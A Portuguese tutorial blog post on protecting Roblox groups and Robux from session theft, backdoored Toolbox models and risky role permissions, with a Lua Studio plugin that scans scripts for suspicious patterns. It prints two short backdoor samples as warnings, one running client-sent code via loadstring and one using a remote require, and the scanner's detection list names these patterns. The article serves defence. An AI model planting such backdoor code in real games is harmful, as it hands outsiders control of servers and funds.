Scripting Lua

Roubaram seu grupo e 5 milhoes de Robux: feche as 3 portas

Seu grupo mudou de dono e o saldo em Robux sumiu sem ninguem descobrir sua senha. O roubo entra por sessao roubada, backdoor em modelo gratis ou cargo com permissao de gastar fundos — e da pra fechar as tres portas em uma tarde.

por Gustavo Cantino10 min de leituraIniciante

Rascunho assistido por IA, revisado, testado e editado por um humano antes de publicar. Ver Política Editorial. · Revisado por Gustavo Cantino, 20/09/2026 Política Editorial

Placa tipográfica com a categoria Scripting Lua em destaque, o nível iniciante abaixo, e um campo de barras verticais verde-limão sobre fundo escuro.

Você não perdeu o grupo para um hacker de filme. Na maioria esmagadora dos casos que terminam assim — grupo transferido, saldo do grupo zerado, 5 milhões de Robux a menos —, quem executou a ação foi a sua própria conta, logada, do jeito que o Roblox esperava que fosse. Ou alguém roubou a sua sessão de login, ou um script que você colou no seu jogo abriu a porta, ou você mesmo deu a alguém um cargo no grupo com permissão de gastar fundos.

Nenhuma dessas três coisas precisa da sua senha. E é por isso que a resposta "mas eu tinha verificação em duas etapas" não impede nada: a verificação em duas etapas protege o momento do login. Se o que vazou foi o token de sessão — o arquivinho que o navegador guarda dizendo "esse aqui já entrou" —, o ladrão não faz login nenhum. Ele cola a sessão pronta e já está dentro, como você.

O tamanho do prejuízo ajuda a levar isso a sério: pela taxa pública do DevEx, 100.000 Robux equivalem a USD 350, ou seja, USD 0,0035 por Robux. Cinco milhões de Robux são USD 17.500 em valor de troca. Robux gasto de dentro do grupo não volta: não existe botão de desfazer para compra feita, transferência de item ou payout enviado. E o grupo em si, uma vez transferido, leva junto o jogo, o histórico de vendas, os gamepasses e o público. Quando um jogo cresce de verdade — o Corridor of Hell chegou a 33.000 jogadores simultâneos em 2021 —, o saldo do grupo deixa de ser troco e vira a coisa mais valiosa que você tem numa conta.

As três portas, em ordem de frequência: 1) plugin ou arquivo .rbxm baixado de alguém que pediu para você "testar"; 2) backdoor escondido dentro de um modelo gratuito da Caixa de Ferramentas (Toolbox); 3) cargo do grupo com a permissão errada marcada. O resto deste texto fecha as três, na ordem em que dá menos trabalho.

Feche as três portas na ordem certa

Passo 1 — derrube a sessão roubada (2 minutos). Vá em roblox.com, canto superior direito, engrenagem, Settings, aba Security. Troque a senha e, logo abaixo, use Sign out of all other sessions (sair de todas as outras sessões). Isso invalida os tokens antigos, inclusive o que o ladrão está usando. Trocar só a senha não expulsa quem já está dentro em alguns cenários — o que expulsa é derrubar as sessões. Na mesma tela, ative a verificação em duas etapas por aplicativo autenticador, que é melhor que por e-mail porque o e-mail também pode ter sido comprometido.

Passo 2 — audite os cargos do grupo (5 minutos). Abra a página do grupo, Configure Group, aba Roles. Olhe cargo por cargo e procure três permissões: gastar fundos do grupo, alterar cargos de membros e gerenciar os jogos do grupo. Essas três, juntas, são a chave da casa. Programador não precisa de nenhuma delas para escrever código; builder também não. Se existe um cargo "Co-Owner" ou "Admin" criado há meses para alguém que "ia ajudar na configuração", desmarque tudo agora e só depois pergunte. Ainda em Configure Group, procure o Audit Log: ele lista quem mudou cargo de quem e quando. É lá que você descobre a data exata em que a porta foi aberta.

Passo 3 — limpe os plugins do Studio (5 minutos). No Studio, a aba Plugins na faixa superior tem o botão Manage Plugins, que lista o que está instalado. Desinstale tudo que você não reconhece pelo nome do autor. Plugin roda com permissão total dentro do Studio: ele lê e escreve qualquer script do seu jogo, e pode inserir um Script novo enquanto você está distraído. No Windows, os plugins locais ficam na pasta %LOCALAPPDATA%\Roblox\Plugins — vale abrir e conferir se tem arquivo que você nunca instalou.

Passo 4 — entenda o que é um backdoor antes de procurar um. Backdoor é um script do servidor que aceita ordens de fora. O formato clássico usa um RemoteEvent (o objeto que permite o jogador conversar com o servidor) com nome inocente:

Script em ServerScriptService (exemplo do que NAO fazer)
local remote = Instance.new("RemoteEvent")
remote.Name = "AntiLag" -- nome inocente de proposito
remote.Parent = game:GetService("ReplicatedStorage")
 
remote.OnServerEvent:Connect(function(jogador, codigo)
	loadstring(codigo)() -- o servidor executa o que qualquer cliente mandar
end)

Esse aí depende de loadstring, que vem desligado por padrão (a propriedade LoadStringEnabled do ServerScriptService começa em false). Por isso o formato mais comum hoje é outro, e cabe em uma linha:

Script em ServerScriptService (exemplo do que NAO fazer)
require(1234567890).Load() -- baixa e roda codigo de um asset que NAO e seu

O require com um número em vez de um caminho busca um ModuleScript publicado por outra pessoa na Roblox. Quem publicou pode trocar o conteúdo daquele módulo quando quiser, depois que o seu jogo já estiver no ar. Você testou, funcionou, publicou — e três semanas depois o módulo passa a inserir um botão de "transferir fundos" no lugar de um efeito de fumaça.

Passo 5 — desligue o que o backdoor precisa. Com o lugar aberto, vá em File, Game Settings, aba Security. Deixe Allow HTTP Requests desligado se o seu jogo não fala com nenhum site externo, e Allow Third Party Sales desligado se você não vende item de outro grupo dentro do seu jogo. São dois cliques que tiram duas capacidades inteiras das mãos de quem colar código estranho lá dentro.

Passo 6 — varra todos os scripts. É o passo que ninguém faz à mão, porque um jogo médio tem de 200 a 2.000 scripts entre Script, LocalScript e ModuleScript, espalhados por Workspace, ReplicatedStorage, StarterGui e dentro de cada modelo que você arrastou da Toolbox. Ler tudo linha a linha leva um fim de semana. É para isso que serve o artefato abaixo: ele lê em segundos.

O varredor que você instala como plugin local

O código só pode ser lido por um plugin: a propriedade Source, que guarda o texto de um script, não é acessível para um Script comum rodando no jogo. Então a instalação tem um passo a mais que o normal.

No Studio, olhe o Explorer — o painel da direita que lista, em árvore, tudo que existe no seu jogo. Se ele não estiver visível, abra em View, Explorer. Passe o mouse sobre ServerScriptService, clique no sinal de mais e escolha Script. Apague o print("Hello world!") que vem dentro, cole o artefato inteiro e renomeie o script para VarredorSpawnPoint (clique no nome, digite, Enter).

Agora clique com o botão direito nesse script, no Explorer, e escolha Save as Local Plugin. Confirme o nome do arquivo. Pronto: ele saiu do seu jogo e virou uma ferramenta do seu Studio. Apague o script de dentro do ServerScriptService depois disso — você não quer publicar um plugin junto com o jogo.

Recarregue o Studio. Na aba Plugins vai aparecer o botão Varrer backdoors. Antes de clicar, abra a janela de mensagens em View, Output — é lá que o relatório sai. Cada alerta vem com o caminho completo do script, o padrão encontrado e o motivo. Alerta não é sentença: HttpService num jogo que usa webhook é normal. O que você faz com a lista é abrir cada script apontado e responder uma pergunta só: "eu escrevi isso?". Se a resposta for não, delete o modelo inteiro de onde ele veio.

O erro mais caro: "roda esse script aí pra testar"

O golpe que mais tira grupo de dono não é técnico, é social, e vem sempre com pressa. Alguém aparece oferecendo publicidade, sociedade, um sistema pronto ou uma vaga de programador. Pede uma de quatro coisas: que você baixe um .rbxm e arraste para o Studio, que instale um plugin "que só ele tem", que cole um trecho de código "pra testar se o servidor aceita", ou que dê a ele um cargo alto no grupo "cinco minutinhos pra configurar o payout". Qualquer uma das quatro termina igual.

O detalhe que engana gente experiente é que costuma funcionar de verdade no primeiro teste. O sistema abre, a UI aparece bonita, tudo certo. O payload fica dormindo, ou mora num módulo remoto que só muda de conteúdo depois. Você já esqueceu o assunto quando a conta sai do seu controle.

Se você desconfia que já colou algo assim: derrube as sessões (Passo 1), rode o varredor, e volte o jogo para uma versão anterior conhecida. Na página do seu jogo, no site, o menu de três pontinhos tem Configure e um histórico de versões — dá para restaurar uma build anterior à data em que a coisa entrou (a data você pega no Audit Log do grupo). Depois confira a aba Revenue do grupo, olhando payouts e transações de saída um por um. Se saiu Robux, registre o valor e a data antes de qualquer outra coisa: é o único dado que um pedido de suporte aceita.

O que medir na semana que vem

Três números, e todos precisam caber numa linha de anotação. Primeiro: quantas pessoas no seu grupo têm permissão de gastar fundos. O alvo é 1, você. Segundo: quantos alertas o varredor devolve no seu jogo. O alvo não é zero — é "zero que eu não saiba explicar". Anote hoje quantos alertas legítimos existem (seu próprio uso de HttpService, por exemplo) e trate qualquer número acima disso, na próxima varredura, como algo entrou.

Terceiro: quanto Robux fica parado no saldo do grupo. Saldo parado é o alvo inteiro do golpe. Se o seu jogo fatura e você tem DevEx ativo, defina um teto e converta o excedente com regularidade, em vez de deixar acumular seis dígitos esperando.

Crie o hábito de rodar a varredura duas vezes: antes de publicar e depois de inserir qualquer coisa da Toolbox. São 10 segundos. E adote uma regra que não custa nada: modelo gratuito entra num lugar de teste vazio primeiro, nunca direto no jogo que paga suas contas.

Artefato pronto pra usar

Script criado em ServerScriptService e salvo com "Save as Local Plugin"
lua
--!strict
-- SpawnPoint | Varredor de backdoor
-- ONDE MORA: crie um Script em ServerScriptService, cole isto, clique com o botao
-- direito nele no Explorer e escolha "Save as Local Plugin". Depois APAGUE o script
-- do ServerScriptService. Recarregue o Studio e use a aba Plugins.
-- O relatorio sai na janela Output (View > Output).

local toolbar = plugin:CreateToolbar("SpawnPoint")
local botao = toolbar:CreateButton(
	"Varrer backdoors",
	"Le todos os scripts do lugar aberto e aponta padroes suspeitos",
	""
)

type Regra = {
	nome: string,
	padrao: string,
	nota: string,
}

-- Os padroes sao comparados com a fonte em minusculas.
local REGRAS: {Regra} = {
	{ nome = "require com ID numerico", padrao = "require%s*%(%s*%d", nota = "roda codigo de um asset que nao e seu" },
	{ nome = "getfenv/setfenv", padrao = "[gs]etfenv", nota = "classico para esconder o que o script faz" },
	{ nome = "loadstring", padrao = "loadstring", nota = "executa texto recebido como se fosse codigo" },
	{ nome = "HttpService", padrao = "httpservice", nota = "pode mandar dados do seu jogo para fora" },
	{ nome = "HttpGet / PostAsync", padrao = "http[gp][eo]", nota = "requisicao para servidor externo" },
	{ nome = "texto escondido em escapes", padrao = "\\%d%d%d\\%d%d%d", nota = "string disfarcada de numeros" },
	{ nome = "nome tipico de backdoor", padrao = "vaccine", nota = "nome comum de backdoor em modelo gratis" },
}

local ALVOS: {string} = {
	"Workspace", "ServerScriptService", "ServerStorage", "ReplicatedStorage",
	"ReplicatedFirst", "StarterGui", "StarterPack", "StarterPlayer",
	"Lighting", "SoundService", "Teams",
}

local function analisar(item: Instance): number
	local ok, fonte = pcall(function()
		return (item :: any).Source
	end)
	if not ok or typeof(fonte) ~= "string" then
		return 0
	end

	local texto: string = fonte
	local minuscula = string.lower(texto)
	local alertas = 0

	for _, regra in REGRAS do
		if string.find(minuscula, regra.padrao) then
			alertas += 1
			warn(string.format("[SUSPEITO] %s -> %s (%s)", item:GetFullName(), regra.nome, regra.nota))
		end
	end

	-- codigo ofuscado costuma vir numa unica linha gigante
	for linha in string.gmatch(texto, "[^\r\n]+") do
		if #linha > 400 then
			alertas += 1
			warn(string.format("[SUSPEITO] %s -> linha com %d caracteres (possivel ofuscacao)", item:GetFullName(), #linha))
			break
		end
	end

	return alertas
end

local function varrer()
	local lidos = 0
	local alertas = 0

	for _, nomeServico in ALVOS do
		local servico = game:FindFirstChild(nomeServico)
		if not servico then
			continue
		end
		for _, item in servico:GetDescendants() do
			if item:IsA("LuaSourceContainer") then
				lidos += 1
				alertas += analisar(item)
			end
		end
	end

	print(string.format("[SpawnPoint] %d scripts lidos, %d alertas.", lidos, alertas))
	if alertas == 0 then
		print("[SpawnPoint] Nenhum padrao conhecido encontrado. Isso nao e garantia: leia todo script que voce nao escreveu.")
	end
end

botao.Click:Connect(varrer)
Modelo de cargos para conferir em Group > Configure Group > Roles
markdown
| Cargo | Gastar fundos | Mudar cargos | Gerenciar jogos | Pessoas | Robux acessíveis |
| --- | --- | --- | --- | ---: | ---: |
| Dono (você) | Sim | Sim | Sim | 1 | 5.000.000 |
| Programador | Não | Não | Sim | 3 | 0 |
| Builder | Não | Não | Não | 4 | 0 |
| Moderador | Não | Não | Não | 6 | 0 |
| Membro | Não | Não | Não | 1.240 | 0 |
| **Total** | — | — | — | **1.254** | **5.000.000** |
Neste artigo

Continue por aqui